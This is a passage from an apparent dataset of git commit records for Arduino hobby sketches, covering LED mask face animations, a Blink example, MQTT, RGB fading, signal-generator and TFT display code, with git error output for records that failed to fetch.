strip.setPixelColor(55, color); \n strip.setPixelColor(62, color); \n strip.setPixelColor(63, color);\n strip.setPixelColor(70, color);\n strip.setPixelColor(71, color); \n strip.setPixelColor(78, color); \n strip.setPixelColor(79, color); \n strip.setPixelColor(176, color);\n strip.setPixelColor(177, color); \n strip.setPixelColor(184, color); \n strip.setPixelColor(185, color); \n strip.setPixelColor(192, color);\n strip.setPixelColor(193, color); \n strip.setPixelColor(200, color); \n strip.setPixelColor(201, color);\n strip.setPixelColor(310, color);\n strip.setPixelColor(311, color); \n strip.setPixelColor(318, color); \n strip.setPixelColor(319, color);\n strip.setPixelColor(326, color);\n strip.setPixelColor(327, color); \n strip.setPixelColor(334, color); \n strip.setPixelColor(335, color); \n strip.setPixelColor(432, color);\n strip.setPixelColor(433, color); \n strip.setPixelColor(440, color); \n strip.setPixelColor(441, color); \n strip.setPixelColor(448, color);\n strip.setPixelColor(449, color); \n strip.setPixelColor(456, color); \n strip.setPixelColor(457, color); \n strip.show(); \/\/ Turn on the LEDs\n }\n else if((ledState == 1) && (currentMillis - previousMillis >= OnTime)) \/\/ Blink off the LEDs \n {\n ledState = 0; \/\/ Set the LEDs status to off\n previousMillis = currentMillis; \/\/ Remember the time\n if(Face021BlinkCheck == true) \/\/ Checking BlinkCheck for this face to false to prevent an intermittent double flash when changing faces\n {\n Serial.println(\"Face021 LEDs OFF - Blink\"); \/\/ Debug output\n strip.clear(); \/\/ Clear previously configured LEDs\n strip.show(); \/\/ Turn off the LEDs \n }\n else\n {\n Face021BlinkCheck= true; \/\/ Setting BlinkCheck to allow blinking\n Serial.println(\"Blink Resumed\"); \/\/ Debug output\n } \n } \n}\n\/\/ Draw Face022 ---------------------------------------------------------------------------------------------\nvoid Face022()\n{\n if (Face022RunningCheck == false) \/\/ Check to see if this face is currently running or was recently started - this was added to prevent double blinking when switching faces\n {\n Serial.println(\"Blink Paused\");\n strip.clear(); \/\/ Clear previously configured LEDs\n \/\/ Set LEDs for this face \n strip.setPixelColor(44, color);\n strip.setPixelColor(45, color); \n strip.setPixelColor(52, color); \n strip.setPixelColor(53, color);\n strip.setPixelColor(60, color);\n strip.setPixelColor(61, color); \n strip.setPixelColor(62, color); \n strip.setPixelColor(63, color); \n strip.setPixelColor(68, color);\n strip.setPixelColor(69, color); \n strip.setPixelColor(70, color); \n strip.setPixelColor(71, color); \n strip.setPixelColor(192, color);\n strip.setPixelColor(193, color); \n strip.setPixelColor(194, color); \n strip.setPixelColor(195, color);\n strip.setPixelColor(184, color);\n strip.setPixelColor(185, color); \n strip.setPixelColor(186, color); \n strip.setPixelColor(187, color);\n strip.setPixelColor(315, color);\n strip.setPixelColor(316, color); \n strip.setPixelColor(317, color); \n strip.setPixelColor(318, color); \n strip.setPixelColor(319, color);\n strip.setPixelColor(323, color); \n strip.setPixelColor(324, color); \n strip.setPixelColor(325, color); \n strip.setPixelColor(326, color);\n strip.setPixelColor(327, color); \n strip.setPixelColor(440, color); \n strip.setPixelColor(441, color);\n strip.setPixelColor(442, color); \n strip.setPixelColor(443, color);\n strip.setPixelColor(448, color); \n strip.setPixelColor(449, color);\n strip.setPixelColor(450, color); \n strip.setPixelColor(451, color);\n strip.setPixelColor(458, color); \n strip.setPixelColor(459, color);\n strip.setPixelColor(466, color); \n strip.setPixelColor(467, color); \n strip.show(); \/\/ Turn on the LEDs \n \/\/ Setting FaceRunningCheck variables for smoother changes\n Face001RunningCheck = false; \/\/ Face001\n Face002RunningCheck = false; \/\/ Face002\n Face003RunningCheck = false; \/\/ Face003\n Face004RunningCheck = false; \/\/ Face004\n Face005RunningCheck = false; \/\/ Face005\n Face006RunningCheck = false; \/\/ Face006 \n Face007RunningCheck = false; \/\/ Face007\n Face008RunningCheck = false; \/\/ Face008\n Face009RunningCheck = false; \/\/ Face009\n Face010RunningCheck = false; \/\/ Face010\n Face011RunningCheck = false; \/\/ Face011\n Face012RunningCheck = false; \/\/ Face012\n Face013RunningCheck = false; \/\/ Face013\n Face014RunningCheck = false; \/\/ Face014\n Face015RunningCheck = false; \/\/ Face015\n Face016RunningCheck = false; \/\/ Face016\n Face017RunningCheck = false; \/\/ Face017\n Face018RunningCheck = false; \/\/ Face018\n Face019RunningCheck = false; \/\/ Face019\n Face020RunningCheck = false; \/\/ Face020\n Face021RunningCheck = false; \/\/ Face021\n Face022RunningCheck = true; \/\/ Face022 - this face\n Face023RunningCheck = false; \/\/ Face023\n \/\/ Clearing BlinkCheck for this face to false to prevent an intermittent double flash when changing faces\n Face022BlinkCheck = false;\n }\n currentMillis = millis(); \/\/ Set variable to see if it's time to change the state of the LEDs\n if ((ledState == 0) && (currentMillis - previousMillis >= OffTime)) \/\/ Turn on the LEDs \n {\n ledState = 1; \/\/ Set the LEDs status to on\n previousMillis = currentMillis; \/\/ Remember the time\n Serial.println(\"Face022 LEDs ON\"); \/\/ Debug output\n strip.clear(); \/\/ Clear previously configured LEDs\n \/\/ Set LEDs for this face \n strip.setPixelColor(44, color);\n strip.setPixelColor(45, color); \n strip.setPixelColor(52, color); \n strip.setPixelColor(53, color);\n strip.setPixelColor(60, color);\n strip.setPixelColor(61, color); \n strip.setPixelColor(62, color); \n strip.setPixelColor(63, color); \n strip.setPixelColor(68, color);\n strip.setPixelColor(69, color); \n strip.setPixelColor(70, color); \n strip.setPixelColor(71, color); \n strip.setPixelColor(192, color);\n strip.setPixelColor(193, color); \n strip.setPixelColor(194, color); \n strip.setPixelColor(195, color);\n strip.setPixelColor(184, color);\n strip.setPixelColor(185, color); \n strip.setPixelColor(186, color); \n strip.setPixelColor(187, color);\n strip.setPixelColor(315, color);\n strip.setPixelColor(316, color); \n strip.setPixelColor(317, color); \n strip.setPixelColor(318, color); \n strip.setPixelColor(319, color);\n strip.setPixelColor(323, color); \n strip.setPixelColor(324, color); \n strip.setPixelColor(325, color); \n strip.setPixelColor(326, color);\n strip.setPixelColor(327, color); \n strip.setPixelColor(440, color); \n strip.setPixelColor(441, color);\n strip.setPixelColor(442, color); \n strip.setPixelColor(443, color);\n strip.setPixelColor(448, color); \n strip.setPixelColor(449, color);\n strip.setPixelColor(450, color); \n strip.setPixelColor(451, color);\n strip.setPixelColor(458, color); \n strip.setPixelColor(459, color);\n strip.setPixelColor(466, color); \n strip.setPixelColor(467, color); \n strip.show(); \/\/ Turn on the LEDs\n }\n else if((ledState == 1) && (currentMillis - previousMillis >= OnTime)) \/\/ Blink off the LEDs \n {\n ledState = 0; \/\/ Set the LEDs status to off\n previousMillis = currentMillis; \/\/ Remember the time\n if(Face022BlinkCheck == true) \/\/ Checking BlinkCheck for this face to false to prevent an intermittent double flash when changing faces\n {\n Serial.println(\"Face022 LEDs OFF - Blink\"); \/\/ Debug output\n strip.clear(); \/\/ Clear previously configured LEDs\n strip.show(); \/\/ Turn off the LEDs \n }\n else\n {\n Face022BlinkCheck= true; \/\/ Setting BlinkCheck to allow blinking\n Serial.println(\"Blink Resumed\"); \/\/ Debug output\n } \n } \n}\n\/\/ Draw Face023 ---------------------------------------------------------------------------------------------\nvoid Face023()\n{\n if (Face022RunningCheck == false) \/\/ Check to see if this face is currently running or was recently started - this was added to prevent double blinking when switching faces\n {\n Serial.println(\"Blink Paused\");\n strip.clear(); \/\/ Clear previously configured LEDs\n \/\/ Set LEDs for this face \n strip.setPixelColor(38, color);\n strip.setPixelColor(39, color); \n strip.setPixelColor(44, color); \n strip.setPixelColor(45, color);\n strip.setPixelColor(46, color);\n strip.setPixelColor(50, color); \n strip.setPixelColor(51, color); \n strip.setPixelColor(52, color); \n strip.setPixelColor(56, color);\n strip.setPixelColor(57, color); \n strip.setPixelColor(58, color); \n strip.setPixelColor(64, color); \n strip.setPixelColor(65, color);\n strip.setPixelColor(66, color); \n strip.setPixelColor(74, color); \n strip.setPixelColor(75, color);\n strip.setPixelColor(76, color);\n strip.setPixelColor(84, color); \n strip.setPixelColor(85, color); \n strip.setPixelColor(86, color);\n strip.setPixelColor(94, color);\n strip.setPixelColor(95, color); \n strip.setPixelColor(155, color); \n strip.setPixelColor(156, color); \n strip.setPixelColor(157, color);\n strip.setPixelColor(160, color); \n strip.setPixelColor(162, color); \n strip.setPixelColor(166, color); \n strip.setPixelColor(174, color);\n strip.setPixelColor(182, color); \n strip.setPixelColor(189, color); \n strip.setPixelColor(197, color);\n strip.setPixelColor(206, color); \n strip.setPixelColor(214, color);\n strip.setPixelColor(216, color); \n strip.setPixelColor(218, color);\n strip.setPixelColor(222, color); \n strip.setPixelColor(227, color);\n strip.setPixelColor(228, color); \n strip.setPixelColor(229, color);\n strip.setPixelColor(282, color); \n strip.setPixelColor(283, color);\n strip.setPixelColor(284, color);\n strip.setPixelColor(289, color);\n strip.setPixelColor(293, color);\n strip.setPixelColor(295, color);\n strip.setPixelColor(297, color);\n strip.setPixelColor(305, color);\n strip.setPixelColor(314, color);\n strip.setPixelColor(322, color);\n strip.setPixelColor(329, color);\n strip.setPixelColor(337, color);\n strip.setPixelColor(345, color);\n strip.setPixelColor(349, color);\n strip.setPixelColor(351, color);\n strip.setPixelColor(354, color);\n strip.setPixelColor(355, color);\n strip.setPixelColor(356, color);\n strip.setPixelColor(416, color);\n strip.setPixelColor(417, color);\n strip.setPixelColor(425, color);\n strip.setPixelColor(426, color);\n strip.setPixelColor(427, color);\n strip.setPixelColor(435, color);\n strip.setPixelColor(436, color);\n strip.setPixelColor(437, color);\n strip.setPixelColor(445, color);\n strip.setPixelColor(446, color);\n strip.setPixelColor(447, color);\n strip.setPixelColor(453, color);\n strip.setPixelColor(454, color);\n strip.setPixelColor(455, color);\n strip.setPixelColor(459, color);\n strip.setPixelColor(460, color);\n strip.setPixelColor(461, color);\n strip.setPixelColor(465, color);\n strip.setPixelColor(466, color);\n strip.setPixelColor(467, color);\n strip.setPixelColor(472, color);\n strip.setPixelColor(473, color); \n strip.show(); \/\/ Turn on the LEDs \n \/\/ Setting FaceRunningCheck variables for smoother changes\n Face001RunningCheck = false; \/\/ Face001\n Face002RunningCheck = false; \/\/ Face002\n Face003RunningCheck = false; \/\/ Face003\n Face004RunningCheck = false; \/\/ Face004\n Face005RunningCheck = false; \/\/ Face005\n Face006RunningCheck = false; \/\/ Face006 \n Face007RunningCheck = false; \/\/ Face007\n Face008RunningCheck = false; \/\/ Face008\n Face009RunningCheck = false; \/\/ Face009\n Face010RunningCheck = false; \/\/ Face010\n Face011RunningCheck = false; \/\/ Face011\n Face012RunningCheck = false; \/\/ Face012\n Face013RunningCheck = false; \/\/ Face013\n Face014RunningCheck = false; \/\/ Face014\n Face015RunningCheck = false; \/\/ Face015\n Face016RunningCheck = false; \/\/ Face016\n Face017RunningCheck = false; \/\/ Face017\n Face018RunningCheck = false; \/\/ Face018\n Face019RunningCheck = false; \/\/ Face019\n Face020RunningCheck = false; \/\/ Face020\n Face021RunningCheck = false; \/\/ Face021\n Face022RunningCheck = false; \/\/ Face022\n Face023RunningCheck = true; \/\/ Face023 - this face\n \/\/ Clearing BlinkCheck for this face to false to prevent an intermittent double flash when changing faces\n Face023BlinkCheck = false;\n }\n currentMillis = millis(); \/\/ Set variable to see if it's time to change the state of the LEDs\n if ((ledState == 0) && (currentMillis - previousMillis >= OffTime)) \/\/ Turn on the LEDs \n {\n ledState = 1; \/\/ Set the LEDs status to on\n previousMillis = currentMillis; \/\/ Remember the time\n Serial.println(\"Face023 LEDs ON\"); \/\/ Debug output\n strip.clear(); \/\/ Clear previously configured LEDs\n \/\/ Set LEDs for this face \n strip.setPixelColor(38, color);\n strip.setPixelColor(39, color); \n strip.setPixelColor(44, color); \n strip.setPixelColor(45, color);\n strip.setPixelColor(46, color);\n strip.setPixelColor(50, color); \n strip.setPixelColor(51, color); \n strip.setPixelColor(52, color); \n strip.setPixelColor(56, color);\n strip.setPixelColor(57, color); \n strip.setPixelColor(58, color); \n strip.setPixelColor(64, color); \n strip.setPixelColor(65, color);\n strip.setPixelColor(66, color); \n strip.setPixelColor(74, color); \n strip.setPixelColor(75, color);\n strip.setPixelColor(76, color);\n strip.setPixelColor(84, color); \n strip.setPixelColor(85, color); \n strip.setPixelColor(86, color);\n strip.setPixelColor(94, color);\n strip.setPixelColor(95, color); \n strip.setPixelColor(155, color); \n strip.setPixelColor(156, color); \n strip.setPixelColor(157, color);\n strip.setPixelColor(160, color); \n strip.setPixelColor(162, color); \n strip.setPixelColor(166, color); \n strip.setPixelColor(174, color);\n strip.setPixelColor(182, color); \n strip.setPixelColor(189, color); \n strip.setPixelColor(197, color);\n strip.setPixelColor(206, color); \n strip.setPixelColor(214, color);\n strip.setPixelColor(216, color); \n strip.setPixelColor(218, color);\n strip.setPixelColor(222, color); \n strip.setPixelColor(227, color);\n strip.setPixelColor(228, color); \n strip.setPixelColor(229, color);\n strip.setPixelColor(282, color); \n strip.setPixelColor(283, color);\n strip.setPixelColor(284, color);\n strip.setPixelColor(289, color);\n strip.setPixelColor(293, color);\n strip.setPixelColor(295, color);\n strip.setPixelColor(297, color);\n strip.setPixelColor(305, color);\n strip.setPixelColor(314, color);\n strip.setPixelColor(322, color);\n strip.setPixelColor(329, color);\n strip.setPixelColor(337, color);\n strip.setPixelColor(345, color);\n strip.setPixelColor(349, color);\n strip.setPixelColor(351, color);\n strip.setPixelColor(354, color);\n strip.setPixelColor(355, color);\n strip.setPixelColor(356, color);\n strip.setPixelColor(416, color);\n strip.setPixelColor(417, color);\n strip.setPixelColor(425, color);\n strip.setPixelColor(426, color);\n strip.setPixelColor(427, color);\n strip.setPixelColor(435, color);\n strip.setPixelColor(436, color);\n strip.setPixelColor(437, color);\n strip.setPixelColor(445, color);\n strip.setPixelColor(446, color);\n strip.setPixelColor(447, color);\n strip.setPixelColor(453, color);\n strip.setPixelColor(454, color);\n strip.setPixelColor(455, color);\n strip.setPixelColor(459, color);\n strip.setPixelColor(460, color);\n strip.setPixelColor(461, color);\n strip.setPixelColor(465, color);\n strip.setPixelColor(466, color);\n strip.setPixelColor(467, color);\n strip.setPixelColor(472, color);\n strip.setPixelColor(473, color); \n strip.show(); \/\/ Turn on the LEDs\n }\n else if((ledState == 1) && (currentMillis - previousMillis >= OnTime)) \/\/ Blink off the LEDs \n {\n ledState = 0; \/\/ Set the LEDs status to off\n previousMillis = currentMillis; \/\/ Remember the time\n if(Face023BlinkCheck == true) \/\/ Checking BlinkCheck for this face to false to prevent an intermittent double flash when changing faces\n {\n Serial.println(\"Face022 LEDs OFF - Blink\"); \/\/ Debug output\n strip.clear(); \/\/ Clear previously configured LEDs\n strip.show(); \/\/ Turn off the LEDs \n }\n else\n {\n Face023BlinkCheck= true; \/\/ Setting BlinkCheck to allow blinking\n Serial.println(\"Blink Resumed\"); \/\/ Debug output\n } \n } \n}\n\/\/ Draw Rainbow ---------------------------------------------------------------------------------------------\nvoid Rainbow()\n{\n uint16_t i, j;\n\n for(j=0; j<256; j++) {\n for(i=0; i<strip.numPixels(); i++) {\n strip.setPixelColor(i, Wheel((i+j) & 255));\n }\n strip.show();\n delay(20);\n }\n}\nuint32_t Wheel(byte WheelPos) {\n WheelPos = 255 - WheelPos;\n if(WheelPos < 85) {\n return strip.Color(255 - WheelPos * 3, 0, WheelPos * 3);\n }\n if(WheelPos < 170) {\n WheelPos -= 85;\n return strip.Color(0, WheelPos * 3, 255 - WheelPos * 3);\n }\n WheelPos -= 170;\n return strip.Color(WheelPos * 3, 255 - WheelPos * 3, 0);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Wifi-ESP8266\/Mask\/Wrench-Mask-Wifi-ESP8266.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"08b9c6eb2e8285ee0be908cc2e0b59ba31cee2cc","subject":"Added a structure file","message":"Added a structure file\n\nAdded a structure file to display how and where the arduino code should\nbe written\n","repos":"DivineChili\/Arduino-For-Noobs","old_file":"examples\/Basic_Arduino_Structure\/Basic_Arduino_Structure.ino","new_file":"examples\/Basic_Arduino_Structure\/Basic_Arduino_Structure.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/DivineChili\/Arduino-For-Noobs.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"b679b320bfcbc1c6dc08b53ca54c75338636c541","subject":"Added basic Arduino-sketch-file based on Espanol-Example.","message":"Added basic Arduino-sketch-file based on Espanol-Example.\n","repos":"h42i\/Puerta","old_file":"Puerta.ino","new_file":"Puerta.ino","new_contents":"#include <SPI.h>\n#include <ESP8266WiFi.h>\n#include <Espanol.h>\n\nchar* ssid = \"somefunnyssid\";\nchar* password = \"someunsecurepassword\";\nchar* broker = \"somecrazyhostname\";\nint port = 1883;\n\nEspanol denada(ssid, password, broker, port, callback);\n\nvoid callback(char* topic, byte* payload, unsigned int length)\n{\n String msg = topic;\n msg += \" - \";\n msg += (char*) payload;\n\n Serial.println(msg);\n}\n\nvoid setup()\n{\n Serial.begin(115200);\n\n denada.setDebug(true);\n denada.subscribe(\"foo\/bar\/#\");\n}\n\nvoid loop()\n{\n denada.loop();\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Puerta.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"ec6fdc22d102a5faa6b2a352afb466982bcb31ce","subject":"added ability to change range of motion","message":"added ability to change range of motion\n","repos":"SeaSweepersROV\/SeaSweepers2017,SeaSweepersROV\/SeaSweepers2017","old_file":"Motor Code\/MotorsTX_EZ\/MotorsTX_EZ.ino","new_file":"Motor Code\/MotorsTX_EZ\/MotorsTX_EZ.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Motor' did not match any file(s) known to git\nerror: pathspec 'Code\/MotorsTX_EZ\/MotorsTX_EZ.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"e7d3113956b7df10617d92d8713a1af634e61888","subject":"a bit different settings are needed","message":"a bit different settings are needed\n","repos":"trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone","old_file":"ArduinoClient\/ArduinoClient.ino","new_file":"ArduinoClient\/ArduinoClient.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/trinamic\/T-Bone.git\/'\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"6367e9ce171f80d305bfe49be10bffde941d4357","subject":"Canonical Blink example for Arduino","message":"Canonical Blink example for Arduino\n","repos":"carloscastellanos\/teaching,carloscastellanos\/teaching,carloscastellanos\/teaching","old_file":"Arduino\/Basics\/Blink\/Blink.ino","new_file":"Arduino\/Basics\/Blink\/Blink.ino","new_contents":"\/*\n * Blink\n * Carlos Castellanos | 2014 | ccastellanos.com\n *\n * The most basic Arduino example, the blinking LED.\n * This example repeatedly turns an LED on and off.\n * The Arduino equivalent of \"\"Hello world\".\n *\n * Schematic:\n * - long leg of the LED in digital pin 13\n * - short leg in ground pin\n *\n * Suggestions:\n * Experiment with ways of making this behavior more complex\n * Try encoding a message (e.g. Morse Code)\n *\/\n\n\/\/ Variables\n\/\/ These are optional but allow for faster, more modular code\n\nint ledPin = 13; \/\/ LED connected to digital pin 13\nint onTime = 500; \/\/ time for the LED to be on (measured in milliseconds, or ms)\nint offTIme = 500; \/\/ time for the LED to be off\n\n\/\/ this is code that is run once when your Arduino starts up\nvoid setup() {\n \/\/ here we set the \"mode\" of the digital pin to output (so as to light up the LED)\n pinMode(ledPin, OUTPUT); \n}\n\n\/\/ loop() runs over and over as fast as possible until the Arduino is turned off or reset\nvoid loop() {\n digitalWrite(ledPin, HIGH); \/\/ set the LED to high (on)\n delay(onTime); \/\/ pause everything for specified amount of time*\n digitalWrite(ledPin, LOW); \/\/ turn LED off...\n delay(offTime); \/\/ and pause again\n}\n\n\/\/ * NOTE: when in 'delay', the Arduino completely stops all processes\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino\/Basics\/Blink\/Blink.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"a84b297e06cf0dfd70879db389e85854a792fed9","subject":"commit","message":"commit\n","repos":"Galeje\/Cing","old_file":"Software\/Examples\/Platform examples\/arduino_example\/arduino_example.ino","new_file":"Software\/Examples\/Platform examples\/arduino_example\/arduino_example.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Software\/Examples\/Platform' did not match any file(s) known to git\nerror: pathspec 'examples\/arduino_example\/arduino_example.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"18bfa504a95bfcb4dd152fead9d6df561d7a5294","subject":"Create multiLEDfadeToColor.ino","message":"Create multiLEDfadeToColor.ino\n\nUse more than 1 RGB LED if you have enough PWM pins, so 2 RGB led on an UNO but many more on a MEGA etc..","repos":"joushx\/Arduino-RGB-Tools,IdealChain\/Arduino-RGB-Tools,joushx\/Arduino-RGB-Tools","old_file":"RGBTools\/examples\/multiLEDfadeToColor.ino","new_file":"RGBTools\/examples\/multiLEDfadeToColor.ino","new_contents":"#include <RGBTools.h>\n\n\/\/ set pins of red, green and blue\nRGBTools rgb1(3,6,5);\nint drive1 = 4;\n\nRGBTools rgb2(11,9,10);\nint drive2 = 12;\n\n\n\nvoid setup(){\n Serial.begin(115200);\n pinMode(drive1, OUTPUT);\n digitalWrite(drive1, HIGH);\n pinMode(drive2, OUTPUT);\n digitalWrite(drive2, HIGH);\n Serial.print(F(\"\\nStarted\"));\n\n \n rgb1.fadeTo(255,0,0,5,100); \/\/ to red in 5 steps and 3 seconds\n rgb2.fadeTo(255,0,0,5,100); \/\/ to red in 5 steps and 3 seconds\n rgb1.fadeTo(0,255, 0,5,100); \/\/\n rgb2.fadeTo(0,255, 0,5, 100); \/\/\n rgb1.fadeTo(0,0,255,5,100); \/\/\n rgb2.fadeTo(0,0,255,5,100); \/\/\n \n rgb1.fadeTo(0,0,0,5,100); \/\/\n rgb2.fadeTo(0,0,0,5,100); \/\/\n \n Serial.print(F(\"\\nStopped\"));\n\n \n \n}\n\nvoid loop(){\n \/\/ nothing to loop\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'RGBTools\/examples\/multiLEDfadeToColor.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"5e665c7c00ddc193502c45ef226aa86c055489e0","subject":"fixed light","message":"fixed light\n","repos":"Electroscholars\/HomeAutomation,Electroscholars\/HomeAutomation","old_file":"Arduino Codes\/ProjectHomeAutomation\/ProjectHomeAutomation.ino","new_file":"Arduino Codes\/ProjectHomeAutomation\/ProjectHomeAutomation.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/Electroscholars\/HomeAutomation.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"e0d44f1e011455965acaa58168894bb6c635a8cd","subject":"Moved button demo to widgets library","message":"Moved button demo to widgets library\n","repos":"TFTLibraries\/TFT,TFTLibraries\/TFT","old_file":"examples\/PICadillo-35T\/ButtonDemo\/ButtonDemo.ino","new_file":"examples\/PICadillo-35T\/ButtonDemo\/ButtonDemo.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/TFTLibraries\/TFT.git\/'\n","license":"bsd-3-clause","lang":"Arduino"} {"commit":"735dac0547d8c518ad884d5e5de13132a31f0d23","subject":"Create AD9850.ino","message":"Create AD9850.ino","repos":"F4GOJ\/AD9850","old_file":"examples\/AD9850\/AD9850.ino","new_file":"examples\/AD9850\/AD9850.ino","new_contents":"#include <AD9850.h>\n\nconst int W_CLK_PIN = 7;\nconst int FQ_UD_PIN = 8;\nconst int DATA_PIN = 9;\nconst int RESET_PIN = 10;\n\ndouble freq = 10000000;\ndouble trimFreq = 124999500;\n\nint phase = 0;\n\nvoid setup(){\n DDS.begin(W_CLK_PIN, FQ_UD_PIN, DATA_PIN, RESET_PIN);\n DDS.calibrate(trimFreq);\n}\n\nvoid loop(){\n DDS.setfreq(freq, phase);\n delay(10000);\n DDS.down();\n delay(3000);\n DDS.up();\n delay(2000);\n DDS.setfreq(freq + 500, phase);\n delay(5000);\n DDS.down();\n while(1);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/AD9850\/AD9850.ino' did not match any file(s) known to git\n","license":"unlicense","lang":"Arduino"} {"commit":"aaadc66495d84cba74b3758272570a89f5b6af4b","subject":"Update MC3672.ino","message":"Update MC3672.ino","repos":"mcubemems\/Accelerometer_MC3672","old_file":"examples\/MC3672\/MC3672.ino","new_file":"examples\/MC3672\/MC3672.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/mcubemems\/Accelerometer_MC3672.git\/'\n","license":"bsd-3-clause","lang":"Arduino"} {"commit":"60782a1914b767a5a06a4d8f24c3c3195a515e31","subject":"Added missing functions","message":"Added missing functions\n","repos":"TFTLibraries\/TFT,TFTLibraries\/TFT","old_file":"examples\/PICadillo-35T\/PICadilloTest\/PICadilloTest.ino","new_file":"examples\/PICadillo-35T\/PICadilloTest\/PICadilloTest.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/TFTLibraries\/TFT.git\/'\n","license":"bsd-3-clause","lang":"Arduino"} {"commit":"f36215f79c2df780911a9c1d6f41086e739ac4d5","subject":"Added etch-a-sketch","message":"Added etch-a-sketch\n","repos":"makesaltlake\/arduino-games,makesaltlake\/arduino-games","old_file":"etchasketch\/etchasketch.ino","new_file":"etchasketch\/etchasketch.ino","new_contents":"\/***************************************************\n This is an example sketch for the Adafruit 1.8\" SPI display.\n This library works with the Adafruit 1.8\" TFT Breakout w\/SD card\n ----> http:\/\/www.adafruit.com\/products\/358\n as well as Adafruit raw 1.8\" TFT display\n ----> http:\/\/www.adafruit.com\/products\/618\n \n Check out the links above for our tutorials and wiring diagrams\n These displays use SPI to communicate, 4 or 5 pins are required to\n interface (RST is optional)\n Adafruit invests time and resources providing this open source code,\n please support Adafruit and open-source hardware by purchasing\n products from Adafruit!\n\n Written by Limor Fried\/Ladyada for Adafruit Industries.\n MIT license, all text above must be included in any redistribution\n ****************************************************\/\n\n#define paddle_l 22\n#define paddle_r 21\n\/\/#define sclk 13\n\/\/#define mosi 11\n#define cs 10\n#define dc 9\n#define rst 8 \/\/ you can also connect this to the Arduino reset\n\n#include <Adafruit_GFX.h> \/\/ Core graphics library\n#include <Adafruit_ST7735.h> \/\/ Hardware-specific library\n#include <SPI.h>\n\nAdafruit_ST7735 tft = Adafruit_ST7735(cs, dc, rst);\nfloat p = 3.1415926;\n\nvoid setup(void) {\n tft.initR(INITR_REDTAB); \/\/ alternative: INITR_GREENTAB\n tft.fillScreen(ST7735_BLACK);\n delay(500);\n}\n\n#define PADDLE_MAX 1024\n#define WIDTH 126\n#define HEIGHT 158\n\nint x, y;\n\nvoid loop() {\n x = analogRead(paddle_l) * WIDTH \/ PADDLE_MAX;\n y = analogRead(paddle_r) * HEIGHT \/ PADDLE_MAX;\n \n tft.drawPixel(WIDTH-x, HEIGHT-y, ST7735_GREEN);\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'etchasketch\/etchasketch.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"6d4253897aa930f39a50bffc7a19a10e1ba73f3d","subject":"Added zero power test sketch.","message":"Added zero power test sketch.\n","repos":"futureshocked\/aabt,futureshocked\/aabt","old_file":"zero_uno_power_test\/zero_uno_power_test.ino","new_file":"zero_uno_power_test\/zero_uno_power_test.ino","new_contents":"\/*\n AnalogReadSerialPWM\n Reads an analog input on pin 0, prints the result to the serial monitor and map it to the 9 PWM pin.\n\n This example code is in the public domain.\n *\/\n\n\/\/ the setup routine runs once when you press reset:\nvoid setup() {\n \/\/ initialize serial communication at 115200 bits per second:\n Serial.begin(115200);\n}\n\n\/\/ the loop routine runs over and over again forever:\nvoid loop() {\n \/\/ read the input on analog pin 0:\n int sensorValue = analogRead(A0);\n \/\/ print out the value you read:\n Serial.println(sensorValue);\n analogWrite(9, map(sensorValue, 0, 1023, 0, 255));\n delay(1); \/\/ delay in between reads for stability\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'zero_uno_power_test\/zero_uno_power_test.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"58c62847a6090a6b7a50fd78b04316004b3c6acb","subject":"alarm on and off added","message":"alarm on and off 